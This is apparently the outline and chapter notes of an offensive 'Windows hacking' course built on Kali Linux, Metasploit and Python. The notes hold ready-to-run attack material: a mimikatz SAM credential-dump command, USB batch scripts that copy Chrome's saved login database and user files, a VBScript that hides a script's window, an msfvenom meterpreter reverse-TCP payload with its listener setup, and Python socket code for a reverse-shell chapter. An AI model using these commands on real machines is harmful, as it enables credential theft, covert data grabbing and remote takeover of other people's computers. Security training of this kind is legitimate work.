Complete Windows Hacking Course with Kali Linux and Python

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01. Introduction: 1. Introduction

Chapter 01

1. Introduction

Chapter 02

1. Setting up Kali Virtual Machine
2. Basic Settings (grant root access,updating kali,conneting wireless adapter toVM)
3. Networking VM with the Host
4. Setting up Windows VM and Networking

Chapter 03

1. Bypassing Windows Password With CMD
2. SAM File and Password Cracking with Mimikatz
3. Getting Sensitive Data with USB Part-1
4. Getting Sensitive Data with USB Part-2

Chapter 04

1. View Psswords Using CMD
2. Creating Automated Batch Srcipt for Getting Wifi Passwords
3. Converting Batch Script into Invisible EXE File
4. Launching Social Engineering Attack With USB

Chapter 05

1. Basic Target Discovery with Netdiscover
2. Exploring Targets with Nmap
3. Target OS detection with Nmap
4. Visualizing Network Topology with Zenmap

Chapter 06

1. Metasploit Architecture and Basic syntax
2. Creating Basic Payload with Msfvenom

Chapter 07

1. Basics of Meterpreter Part – 1
2. Basics of Meterpreter Part – 2

Chapter 08

01. Installing Python and Setting up IDE
02. Print Function and F Strings
03. Variables and Basic Data Types in Python
04. Operators in Python
05. Python Functions
06. Global and Local Variables in Python
07. Working with Lists
08. Working with Dictionaries
09. If Else Statements in Python
10. While Loops, Break and Continue Statements
11. For Loops
12. Classes and Objects in Python

Chapter 09

1. Introduction to Sockets Part 01
2. Introduction to Sockets Part 02

Chapter 10

1. Creating a Simple Chat Application Between Client and Server

Chapter 11

1. The Reverse Shell Strategy
2. Creating the Reverse Shell Part 01
3. Creating the Reverse Shell Part 02
4. Testing the Reverse Shell Locally

Chapter 12

1. Installing Pyinstaller with PIP
2. Converting client.py into a EXE File

Chapter Notes:

Chapter 2 – 3.1 syntax for mounting shared folder

mount.cifs //Win10/kali /root/Desktop/shared -o user=root

Chapter 3 – 2.1 mimikatz syntax

lsadump::sam /system:C:\SYSTEM /sam:C:\SAM

Chapter 3 – 3.1 syntax for password getting usb

@echo off
copy "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Login Data"

Chapter 3 – 4.1 syntax for getting other files

for stealer script-

@echo off
copy "%userprofile%\pictures" "copied"

for hiding script-

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

for final autorun file-

wscript.exe \hide.vbs test.bat

Chapter 6 – 2.1 msfvenom syntax

for creating payload-

msfvenom -p windows/meterpreter/reverse_tcp lport=8080 lhost=192.168.129.128 -f exe > test.exe

for start the listner-
 
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.129.128
set lport 8080
exploit

Chapter 11 – 2.1 server

import socket
server = socket.socket()
server.bind(("",5000))
server.listen()
connection,adress = server.accept()
print(f"new connection from : {adress}")

while True:
    recieved = connection.recv(1024).decode()
    print(f"client : {recieved}")
    message = input(">>")
    connection.send(message.encode())

Chapter 11 – 3.1 client

import socket
client = socket.socket()
host = socket.gethostname()
port = 5000
client.connect((host,port))

message = input(">>")
while True:
    client.send(message.encode())
    recieved = client.recv(1024).decode()
    print(f"server : {recieved}")
    message = input(">>")

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